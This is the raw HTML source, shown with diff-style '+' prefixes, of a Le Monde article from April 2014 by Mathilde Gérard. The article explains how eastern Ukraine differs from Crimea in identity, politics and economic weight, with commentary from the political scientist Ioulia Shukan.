+require(["lmd/ui/liste-az"],function(a){a.init({context:'#ariane-context-3214'})});
+</script>
+
+ <div class="global">
+
+ <div class="top_container_article"></div>
+
+ <div class="container_18 clearfix">
+ <div class="grid_10 alpha prefix_1 suffix_1"><!-- col gauche -->
+
+
+ <article class="article article_normal" itemscope itemtype="http://schema.org/NewsArticle">
+
+ <h1 class="tt2" itemprop="Headline">Pourquoi l'est de l'Ukraine n'est pas la Crim&eacute;e</h1>
+
+ <p class="bloc_signature">
+ <span id="publisher" itemprop="Publisher" data-source="Le Monde.fr">Le Monde</span> | <time datetime="2014-04-15T18:37:11+02:00"
+ itemprop="datePublished">15.04.2014 &agrave; 18h37</time>
+ • Mis à jour le
+<time datetime="2014-04-15T23:15:35+02:00"
+ itemprop="dateModified">15.04.2014 &agrave; 23h15</time>
+ |
+<span class="signature_article">
+Par <span itemprop="author" class="auteur txt2_120"><a class="auteur" target="_blank" href="/journaliste/mathilde-gerard/">Mathilde G&eacute;rard</a></span>
+</span>
+
+</p>
+
+
+ <div class="toolbar"></div>
+<div class="fb-like" data-send="true" data-width="450" data-height="20" data-show-faces="true" data-action="recommend"
+ data-font="arial"></div>
+
+
+ <div id="articleBody" class="contenu_article" itemprop="articleBody">
+ <h2>Les tensions en Ukraine se sont accélérées, mi-avril, avec l'occupation par des forces pro-russes de plusieurs bâtiments publics des grandes villes de l'Est, demandant la tenue de référendums d'autodétermination et refusant de <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/reconna%C3%AEtre">reconnaître</a> les autorités de Kiev. Après la péninsule de Crimée, rattachée à la <a class="lien_interne rub" href="http://www.lemonde.fr/russie/">Russie</a> suite à un référendum le 16 mars, l'<a class="lien_interne rub" href="http://www.lemonde.fr/ukraine/">Ukraine</a> fait face à une nouvelle menace de désintégration. Kiev se dit résolu à ne pas <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/deuxieme-groupe/subir">subir</a> un nouvel affront, d'autant que l'Est a un poids économique et démographique bien plus important que la Crimée. Mais sur le terrain, les soldats ukrainiens se font discrets et « l'opération antiterroriste » annoncée par les autorités n'a toujours pas débuté.</h2>
+<p class="lire">Lire les dernières informations <a href="/europe/article/2014/04/15/en-ukraine-la-vraie-fausse-operation-antiterroriste-dans-l-est_4402015_3214.html">En Ukraine, la vraie fausse « opération antiterroriste » dans l'Est</a></p>
+<ul>
+<li><strong>Des liens identitaires ambivalents</strong></li>
+</ul>
+<p>Contrairement aux Criméens, qui n'ont été rattachés à l'Ukraine qu'en 1954, les habitants des régions de l'Est ont une histoire commune avec Kiev, beaucoup plus ancienne, même si les territoires ukrainiens ont connu des mouvements de frontières incessants depuis le X<sup>e</sup> siècle.</p>
+<p class="lire"><strong>Lire notre éclairage historique : <a href="/europe/article/2014/02/26/ukraine-la-memoire-eclatee_4373502_3214.html">Des princes de Kiev à l'indépendance, mille ans d'identité ukrainienne</a></strong></p>
+<p>Si les régions situées à l'est du Dniepr ont été pleinement intégrées à l'empire russe à la fin du XVII<sup>e </sup>siècle, tandis que l'ouest de l'Ukraine fait partie de la <a class="lien_interne rub" href="http://www.lemonde.fr/pologne/">Pologne</a>, une Ukraine indépendante, rassemblant Est et Ouest, voit brièvement le jour en 1918, avant d'<a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/auxiliaire/%C3%AAtre">être</a> intégrée en 1922 dans l'Union soviétique et ce pour près de 70 ans. L'histoire mouvementée de l'Ukraine, <a class="lien_interne bourse" href="http://www.lemonde.fr/bourse/nyse-euronext-paris-equities/ses/">ses</a> frontières changeantes, sa mémoire éclatée entre Est et Ouest et sa <a class="lien_interne rub" href="http://www.lemonde.fr/demographie/">population</a> multi-ethnique, expliquent l'attachement culturel et linguistique des populations orientales à la Russie. Malgré tout, à Kharkiv, Donetsk, ou Dnipropetrovsk, de nombreux habitants se sentent « ukrainiens », même si le nationalisme y est nettement plus discret que dans l'ouest du pays.</p>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401406_6_a990_carte-linguistique-de-l-ukraine_dea34eb90ac67e6b4ead5df34929c5d1.jpg" alt="Carte linguistique de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte linguistique de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<p><em>« En raison de la diversité ethnique, culturelle et linguistique du pays, il y a diverses manières d'<a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/auxiliaire/%C3%AAtre">être</a> ukrainien</em>, explique la politologue Ioulia Shukan<strong></strong>, maître de conférences à l'université <a class="lien_interne rub" href="http://www.lemonde.fr/paris/">Paris</a>-Ouest-Nanterre-La <span class="lien_interne rub">Défense</span> (<span class="lien_interne rub">Paris</span> X)<em>. On a tendance à <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/pr%C3%A9senter">présenter</a> schématiquement le Donbass </em>[zone géographique regroupant les régions de Donetsk et de Lougansk]<em> comme un territoire exclusivement russophone. <a class="lien_interne bourse" href="http://www.lemonde.fr/bourse/forex-data-lite/gold-united-states-dollar/">Or</a>, les populations rurales dans ce territoire minier parlent majoritairement ukrainien. En plus des Russes et des Ukrainiens, y vivent également des populations <a class="lien_interne rub" href="http://www.lemonde.fr/arm/">arm</a>éniennes, géorgiennes ou encore grecques. » </em>Pour la chercheuse,<em> </em>ces populations, quelle que soit leur origine ethnique ou leur langue, partagent dans leur grande majorité le sentiment d'appartenance à l'Ukraine.<em> «<em> </em>Les derniers sondages disponibles montrent d'ailleurs que près de 70 % des populations de la région de Donetsk associent leur <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/avenir">avenir</a> avec l'Ukraine.<em> </em>» </em></p>
+<ul>
+<li><strong>Un fossé <a class="lien_interne rub" href="http://www.lemonde.fr/politique/">politique</a> grandissant<br /></strong></li>
+</ul>
+<p>Sur le plan politique, la fracture entre le <a class="lien_interne rub" href="http://www.lemonde.fr/centre/">centre</a>-ouest et le sud-est du pays est en revanche très nette et s'est accentuée ces dernières années. <em>« Depuis l'indépendance de l'Ukraine, les scrutins présidentiels se traduisent par un soutien fort apporté aux candidats “<em>pro-européensâ€</em> au Centre-Ouest et à des candidats labellisés proches de la Russie au Sud-Est</em>, note Ioulia Shukan.<em> Cependant, elles n'ont pas posé problème au cours des années 1990, mis à part en Crimée, où le mouvement sécessionniste était fort dans la première moitié des années 1990. »</em></p>
+<p>La situation change avec la « révolution <a class="lien_interne rub" href="http://www.lemonde.fr/orange/">orange</a> » de l'hiver 2004-2005, qui marque la volonté d'une partie de l'élite politique ukrainienne de se <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/rapprocher">rapprocher</a> de l'<a class="lien_interne rub" href="http://www.lemonde.fr/europe/">Europe</a>. La question de l'<a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/avenir">avenir</a> du pays divise alors les habitants de l'Est et de l'Ouest : pour les Ukrainiens de l'Est, Moscou est perçu comme le garant d'une stabilité, tandis qu'à l'Ouest, la Russie est vue comme l'ancienne force impérialiste tentant de manœuvrer et <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/diriger">diriger</a> les politiques de Kiev. Les élites politiques profitent alors de ce fossé pour <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/exacerber">exacerber</a> les différences entre Est et Ouest, les courants nationalistes comme Svoboda s'implantant durablement dans les régions occidentales, tandis que le Parti des régions de Viktor Ianoukovitch fait de Donetsk, la deuxième ville du pays, son principal fief.</p>
+<p><div class="video_player">
+<iframe src="http://www.dailymotion.com/embed/video/x1dltfd" frameborder="0" width="494" height="294"></iframe>
+</div></p>
+<ul>
+<li><strong>Economiquement, une région de poids</strong></li>
+</ul>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401446_6_efcf_carte-economique-de-l-ukraine_657e531bf0356e8870d95100b7ac1869.jpg" alt="Carte économique de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte &eacute;conomique de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<p>Là où la Crimée compte 2 millions d'habitants, le Donbass, le bassin houiller de l'Est, regroupe environ 5 millions d'habitants, soit un dixième de la population ukrainienne sur un territoire densément peuplé. Et si la Crimée vit essentiellement du tourisme et de l'activité maritime de Sébastopol, l'est de l'Ukraine repose sur une économie industrielle variée, dont la population est la plus riche du pays : le PIB par habitant y est supérieur à celui du reste de l'Ukraine et les salaires y sont en moyenne deux fois plus élevés. Le Donbass est ainsi le principal contributeur au PIB ukrainien, à hauteur de 27,4 %.</p>
+<p>Forte de ses <a class="lien_interne rub" href="http://www.lemonde.fr/ressources-naturelles/">ressources naturelles</a> (charbon, fer, acier), la région s'est fortement spécialisée depuis la fin du XVIII<sup>e</sup> siècle dans l'<a class="lien_interne rub" href="http://www.lemonde.fr/industrie/">industrie</a> et fournit environ 20 % de la production industrielle et des exportations de l'Ukraine. En 2012, le Donbass a vendu pour 2,2 milliards d'euros de biens aussi bien à l'Europe qu'à la Russie en 2012.</p>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401447_6_1bcd_carte-industrielle-de-l-ukraine_19920b98435f7e5f9cba041ad54bb80d.jpg" alt="Carte industrielle de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte industrielle de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<p>Mais ce poids industriel a un prix, notamment environnemental, d'autant que les infrastructures de ces régions sont anciennes. <em>« L'industrie du charbon connaît de grandes difficultés</em>, souligne Ioulia Shukan, <em>et nécessite d'énormes investissements dans les infrastructures, <em> voire des politiques de reconversion</em>, surtout dans le cas des mines d'Etat. En 2013, les régions de Donetsk et de Lougansk ont vécu grâce aux dotations publiques, c'est-à-dire qu'elles ont reçu plus de subventions de la part de l'Etat qu'elles n'ont versé de contributions. »</em></p>
+<p>L'opposition fréquemment mise en avant entre l'Est industriel de l'Ukraine et l'Ouest agricole, est à <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/relativiser">relativiser</a>. Outre la métallurgie et le charbon, l'économie des régions orientales repose également sur l'industrie chimique, la construction, ainsi que l'agriculture. Si le surnom de <em>« </em>grenier à blé<em> »</em> de l'Ukraine vaut surtout pour ses régions centrales, les oblasts de Dnipropetrovsk et de Kharkiv comptent eux aussi de fertiles « terres noires », les <em>tchernoziom</em>, permettant la <a class="lien_interne rub" href="http://www.lemonde.fr/culture/">culture</a> du blé, de l'orge, ou encore de la betterave, exportés vers l'Europe, la Russie, et de plus en plus, l'Asie.</p>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401463_6_88d3_carte-agricole-de-l-ukraine_51c533b0754e20a2e42ff43b9e18081d.jpg" alt="Carte agricole de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte agricole de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<ul>
+<li><strong>Comment les régions de l'Est ont vécu la révolution de Maïdan</strong></li>
+</ul>
+<p>Depuis la destitution de Viktor Ianoukovitch par la Rada le 22 février, les grandes villes de l'Est ont été le théâtre, tous les week-ends, de manifestations d'opposition aux nouvelles autorités de Kiev. Les motifs de craintes sont nombreux, alimentés par la propagande des <a class="lien_interne rub" href="http://www.lemonde.fr/actualite-medias/">médias</a> russes, largement relayés dans ces régions : hostilité de Kiev vis-à-vis de la langue russe, craintes d'un <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/pouvoir">pouvoir</a> <em>« fasciste »</em> aux mains des Occidentaux, appréhensions quant aux conséquences économiques d'un rapprochement avec l'Europe...</p>
+<p>Pourtant, des habitants de l'Est ont participé durant l'hiver aux manifestations de Maïdan, contre la corruption du régime de Viktor Ianoukovitch. Mais le nouveau <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/pouvoir">pouvoir</a>, en place depuis fin février, a déconsidéré les populations de ces régions et ce n'est que le 11 avril que le premier ministre de transition, Arseni Iatseniouk, s'est rendu à Donetsk. Pour la chercheuse Ioulia Shukan, les négligences de Kiev tiennent à la nette fracture politique du pays : à quelques semaines d'un scrutin présidentiel prévu le 25 mai, les autorités de transition ont considéré que l'est de l'Ukraine, acquis au Parti des régions, n'était pas une terre de conquête électorale. <em>« <em>Alors que le malaise socio-économique des populations est important,</em> aucun effort n'a été déployé pour <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/rassurer">rassurer</a>, <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/faire">faire</a> de la pédagogie ou même <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/faire">faire</a> campagne dans ces territoires »</em>, estime Ioulia Shukan.</p>
+<p>Face à l'aggravation des tensions ces derniers jours dans l'Est, qui ont fait plusieurs morts, le président par intérim, Olexandre Tourtchinov, a pour la première fois évoqué, lundi 14 avril, la possible tenue d'un référendum sur le statut du pays, restant vague sur la question d'une fédéralisation de l'Ukraine. Mais désormais, c'est la tenue même du scrutin du 25 mai qui est compromise, face au risque d'implosion du pays.</p>
+ </div>
+
+ <p itemprop="author" class="auteur txt2_120"><div class="bg_gris_moyen signature">
+ <ul class="liste_bordure">
+ <li class="clearfix" itemprop="author">
+ <span class="identite">
+
+
+ <a href="/journaliste/mathilde-gerard/" target="_blank">
+<img data-placeholder="true" width="24" height="24" data-src="http://s2.lemde.fr/image/2014/03/22/24x24/1100511644_4_03da_13954998584667-capturer_2953ce62a1b4e9feafbd3a99b99382a6.jpg" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-lazyload="true" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina" alt=" ">
+ </a>
+
+
+ <a href="/journaliste/mathilde-gerard/" target="_blank" class="gras">Mathilde G&eacute;rard</a>
+
+
+ <br><span class="txt_gris_clair">Journaliste au Monde</span>
+ </a>
+ </span>
+
+ <span class="suivre">
+ <strong class="txt1 txt_gris_moyen">Suivre</strong>
+ <a href="/journaliste/mathilde-gerard/" class="avatar13x13" target="_blank">Aller sur la page de ce journaliste</a>
+
+ <a href="https://twitter.com/MathiGerard" class="tw13x13">Suivre ce journaliste sur twitter</a>
+
+ </span>
+
+ </li>
+ </ul>
+</div>
+</p>
+ </article>
+
+ <div class="grid10 clearfix mgb16">
+ <a class="titre_bt_fleche call_to_discussion" href="/europe/discussion/2014/03/04/ukraine-quel-role-la-france-peut-elle-jouer-dans-le-reglement-du-conflit_4377494_3214.html">
+ <span class="tt3_capital tt_discussion"><span>discussion</span></span>
+ <span class="titre tt6">
+ Ukraine : que doivent faire les Europ&eacute;ens et les Am&eacute;ricains ?
+ </span>
+ <span class="bt"><span class="indicateur_droit indicateur_moyen"></span></span>
+ </a>
+</div>
+
+
+
+ <div class="position_pub" data-adformat="web_partenaire" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="23371">
+ <script>
+ //sas_manager.render(23371);
+ ADVERT_AD(['50270/361621', 23371, '', 'web_partenaire']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/23371/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/23371/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div class="position_pub" data-adformat="web_partenaire_2" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="23885">
+ <script>
+ //sas_manager.render(23885);
+ ADVERT_AD(['50270/361621', 23885, '', 'web_partenaire_2']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/23885/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/23885/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+
+ <div class="fb-like" data-send="true" data-width="450" data-show-faces="true" data-action="recommend"
+ data-font="arial"></div>
+ <div class="toolbar"></div>
+
+
+
+
+ <div class="conteneur_ligatus"><iframe src="" width="534" height="270" scrolling="no" frameborder="0" allowtransparency="true" seamless></iframe></div>
+<script>lmd.onload(function(){lmd.conf.fsw.ligatus&&require(["jquery","lmd/core/bizdev/ligatus","lib/jquery/plugin/jquery.waypoint"],function(a,b){a(".conteneur_ligatus iframe").waypoint(function(){b.init(".conteneur_ligatus")},{offset:"130%",triggerOnce:!0})})});</script>
+
+
+
+
+ <aside class="bloc_base meme_sujet">
+ <span class="entete txt6">Ukraine</span>
+ <div class="contenu">
+ <ul class="liste_chevron">
+ <li><a href="/europe/article/2014/04/15/en-ukraine-la-vraie-fausse-operation-antiterroriste-dans-l-est_4402015_3214.html">Ukraine : Vladimir Poutine en appelle &agrave; l'ONU
+
+
+</a></li>
+ <li><a href="/europe/article/2014/04/15/ville-apres-ville-l-est-de-l-ukraine-se-livre-aux-separatistes_4401376_3214.html">Ville apr&egrave;s ville, l&rsquo;est de l&rsquo;Ukraine se livre aux s&eacute;paratistes
+
+
+</a></li>
+ <li><a href="/europe/video/2014/04/14/la-russie-prend-elle-le-controle-de-l-ukraine_4400861_3214.html">La Russie prend-elle le contr&ocirc;le de l'Ukraine ?
+
+<span class="type_element mgl5"><span class="ico_video_mini"></span>Vidéo</span>
+</a></li>
+ </ul>
+ </div>
+
+ <span class="entete_exclu_abonnes"><em class="txt_img">Édition abonnés Contenu exclusif</em></span> <div class="contenu">
+ <ul class="liste_chevron">
+ <li><a href="/europe/article/2014/04/14/la-crise-de-sloviansk-menace-d-emporter-l-ukraine_4400756_3214.html">La crise de Sloviansk menace d&rsquo;emporter l&rsquo;Ukraine
+
+
+</a></li>
+ <li><a href="/europe/article/2014/04/11/generation-maidan_4399688_3214.html">G&eacute;n&eacute;ration Ma&iuml;dan
+
+
+</a></li>
+ <li><a href="/europe/article/2014/04/11/la-republique-de-donetsk-onze-etages-sans-ascenseur_4399683_3214.html">La &laquo; r&eacute;publique de Donetsk &raquo; ? Onze &eacute;tages sans ascenseur
+
+
+</a></li>
+ </ul>
+ </div>
+
+ <p class="bt"><span data-href="L2Fiby8/YW1wO2NsZWY9QkxPQ0FCT0FSVEJBUzE0" class="btn_abo obf" onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'Clic_Abonnement','N');" title="Abonnez-vous au Monde à partir de 1 €">Abonnez-vous à partir de 1 €</span></p>
+</aside>
+
+ <div class="reco_cross_site_outbrain" id="reco_cross_site_outbrain">
+ <div class="OUTBRAIN" data-widget-id="AR_5" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+ <div class="OUTBRAIN" data-widget-id="AR_6" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+ <div class="OUTBRAIN" data-widget-id="AR_7" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+ <div class="OUTBRAIN" data-widget-id="AR_8" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-ob-template="lemonde"></div>
+</div> <div id="liste_reactions"><div id="aj-1e8b67" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Reaction_Element/actionAfficherPreview/WzQ/0MD/A3N/DMsNV0-/?key=0b99d5edc1a0be4a22ceaea6249d3594cd69a0a3"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-1e8b67").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Reaction_Element/actionAfficherPreview/WzQ/0MD/A3N/DMsNV0-/?key=0b99d5edc1a0be4a22ceaea6249d3594cd69a0a3" })});</script></div>
+
+ <div class="rubriques_liees">
+ <a href="/guatemala/">Guatemala</a> &#9642; <a href="/koweit/">Kowe&iuml;t</a> &#9642; <a href="/togo/">Togo</a> &#9642; <a href="/europeennes-france/">France</a> &#9642; <a href="/mitt-romney/">Mitt Romney</a> &#9642; <a href="/montenegro/">Mont&eacute;n&eacute;gro</a> &#9642; <a href="/international/">International</a> &#9642; <a href="/royaume-uni/">Royaume-Uni</a> &#9642; <a href="/tibet/">Tibet</a> &#9642; <a href="/tanzanie/">Tanzanie</a> </div>
+
+
+ </div>
+
+ <div class="grid_6 omega col_droite">
+ <div id="aj-c27434" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Zone_Rotation/actionAfficherBlocsHaut/WzM/yMT/Rd/EMPTY/?key=365ea08ca7e9e3a9fa85cbfe495a66cbcdc102a8"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-c27434").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Zone_Rotation/actionAfficherBlocsHaut/WzM/yMT/Rd/EMPTY/?key=365ea08ca7e9e3a9fa85cbfe495a66cbcdc102a8" })});</script>
+
+<div class="position_pub" data-adformat="pave_haut" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21483">
+ <script>
+ //sas_manager.render(21483);
+ ADVERT_AD(['50270/361621', 21483, '', 'pave_haut']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21483/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21483/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+
+ <div id="aj-c65b1e" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Social_Pluspartages/actionAfficher/W3R/ydW/Vd/EMPTY/?key=e9c1df2637b3a3d3a2ba3035fdd06a727446de91"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-c65b1e").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Social_Pluspartages/actionAfficher/W3R/ydW/Vd/EMPTY/?key=e9c1df2637b3a3d3a2ba3035fdd06a727446de91" })});</script><div class="sociaux">
+ <p class="entete">Nous suivre</p>
+ <p class="pictos">
+ <span class="text">Retrouvez le meilleur de notre communauté</span>
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy5mYWNlYm9vay5jb20vbGVtb25kZS5mcg==" class="fb20x20 obf">Facebook</span><span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="tw20x20 obf">Twitter</span><span data-href="aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK0xlTW9uZGVmcg==" class="google20x20 obf">Google+</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21vYmlsZS8=" class="mobile20x20 obf">Mobile</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Jzcy8=" class="rss20x20 obf">RSS</span> </p>
+</div>
+
+ <div class="position_pub" data-adformat="pave_milieu" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21484">
+ <script>
+ //sas_manager.render(21484);
+ ADVERT_AD(['50270/361621', 21484, '', 'pave_milieu']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21484/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21484/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div><div id="aj-6e587e" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Abonnes_AppelJelec/actionAfficher/W3R/ydW/UsI/kJMT0NBQk9BUlRDT0xEUjE0Il0-/?key=8b6254c0b89102f0d95ade6fd5204a54dd7769ba"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-6e587e").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Abonnes_AppelJelec/actionAfficher/W3R/ydW/UsI/kJMT0NBQk9BUlRDT0xEUjE0Il0-/?key=8b6254c0b89102f0d95ade6fd5204a54dd7769ba" })});</script>
+
+ <div id="aj-1634c3" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MSIsMV0-/?key=a0c2b399c6de31840e47d987f4bd696253bac35c"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-1634c3").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MSIsMV0-/?key=a0c2b399c6de31840e47d987f4bd696253bac35c" })});</script>
+
+ <div id="aj-fd73d2" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMD/gsI/npvbmVfcHJvbW90aW9uX2VkaXRvIiwxXQ--/?key=087f8b8a2e844eff33cf3a844722ba4ccfa9e3c6"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-fd73d2").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMD/gsI/npvbmVfcHJvbW90aW9uX2VkaXRvIiwxXQ--/?key=087f8b8a2e844eff33cf3a844722ba4ccfa9e3c6" })});</script><div id="aj-6f5b24" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_Pave_Groupe_CourrierInternational/actionAfficherEurope/W10/-/EMPTY/EMPTY/?key=ceb78625aa7d19dc0801fd176a2cca82793a1e3f"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-6f5b24").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_Pave_Groupe_CourrierInternational/actionAfficherEurope/W10/-/EMPTY/EMPTY/?key=ceb78625aa7d19dc0801fd176a2cca82793a1e3f" })});</script>
+
+ <div class="position_pub" data-adformat="pave_bas" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21485">
+ <script>
+ //sas_manager.render(21485);
+ ADVERT_AD(['50270/361621', 21485, '', 'pave_bas']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21485/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21485/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div id="aj-04867b" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MiIsMV0-/?key=46067fc21b9e0fba330519859b1ba8ce6bb0a7c6"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-04867b").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Zone_Rotation/actionAfficherTypeZone/WzM/yMT/QsI/npvbmVfY29sb25uZV9iaXpkZXZfZWx0MiIsMV0-/?key=46067fc21b9e0fba330519859b1ba8ce6bb0a7c6" })});</script>
+
+ <div class="position_pub noborder" data-adformat="web_partenariat" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="22396">
+ <script>
+ //sas_manager.render(22396);
+ ADVERT_AD(['50270/361621', 22396, '', 'web_partenariat']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/22396/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/22396/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div class="position_pub noborder" data-adformat="logo_texte" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21492">
+ <script>
+ //sas_manager.render(21492);
+ ADVERT_AD(['50270/361621', 21492, '', 'logo_texte']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21492/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21492/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ </div>
+
+ </div>
+
+</div>
+<script>
+ require(["lmd/module/element/bootstrap"], function(bootstrap) {
+ var params = {};
+ params.toolbar = {};
+ params.toolbar.envoyer = {link: "http://www.lemonde.fr/envoyer-par-email/article/2014/04/15/4400743.html"};
+ params.toolbar.imprimer = {active:true};
+
+ bootstrap.init(params);
+ });
+
